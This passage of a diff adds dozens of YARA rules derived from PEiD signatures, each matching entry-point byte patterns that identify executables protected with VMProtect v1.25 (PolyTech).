+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 57 56 52 55 50 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+rule PEiD_02846_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 9C 57 52 50 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02847_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 50 53 51 57 9C 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02848_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 55 50 57 51 53 9C 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02849_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 55 50 9C 51 57 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02850_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 57 53 57 55 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02851_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 9C 55 53 51 50 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02852_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 9C 57 51 55 55 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02853_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 50 53 9C 57 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02854_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 52 9C 55 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02855_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 52 9C 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8A 06 8A 04 07 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02856_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 53 9C 57 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 0F B6 06 66 98 98 46 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02857_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 9C 51 50 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02858_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 52 50 9C 51 55 54 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02859_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 52 51 55 9C 50 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 0F B6 06 83 ED 02 46 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02860_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 55 51 9C 52 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02861_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 55 52 51 55 57 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a
+}
+rule PEiD_02862_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 57 52 50 51 51 9C 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02863_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 9C 55 50 54 51 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02864_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 50 51 57 50 52 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02865_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 51 57 54 53 9C 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02866_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 51 9C 52 50 53 57 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02867_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 52 57 50 57 51 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02868_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 53 50 57 53 9C 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02869_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 53 9C 57 52 51 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02870_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 57 51 9C 50 52 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02871_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 52 53 57 51 55 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02872_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 55 52 9C 50 51 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02873_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 55 53 52 51 9C 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02874_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 9C 50 55 51 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02875_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 50 57 55 51 52 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02876_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 51 55 52 51 57 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a
+}
+rule PEiD_02877_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 52 53 55 52 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02878_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 53 52 50 51 55 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02879_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 52 53 56 57 9C 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02880_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 53 54 51 55 56 9C 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02881_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 52 55 51 53 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02882_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 55 9C 56 52 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8A 45 00 83 ED 02 00 45 04 9C 8F 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02883_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 9C 56 53 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02884_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 56 53 51 55 9C 55 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02885_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 9C 55 53 56 52 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 59 5B 5A 5E 58 5D 9D 58 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_02886_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 50 52 54 9C 53 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02887_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 52 53 56 9C 55 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02888_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 53 55 50 55 56 52 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02889_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 53 56 55 50 9C 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a
+}
+rule PEiD_02890_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 56 57 55 52 9C 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8A 06 83 ED 02 66 89 45 00 46 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02891_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 56 9C 56 53 55 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 06 8D 76 02 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02892_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 50 53 51 56 55 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02893_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 53 50 9C 56 53 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02894_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 53 54 55 51 50 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02895_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 53 56 50 55 51 9C 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02896_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 56 50 9C 53 50 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02897_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 56 57 55 53 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02898_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 51 56 52 50 9C 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02899_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 52 51 57 55 9C 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 83 EE FC 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02900_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 56 55 55 9C 50 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02901_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 54 53 9C 55 52 50 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02902_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 55 51 9C 55 52 53 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02903_VMProtect_v1_25____PolyTech_
+{
+    meta:
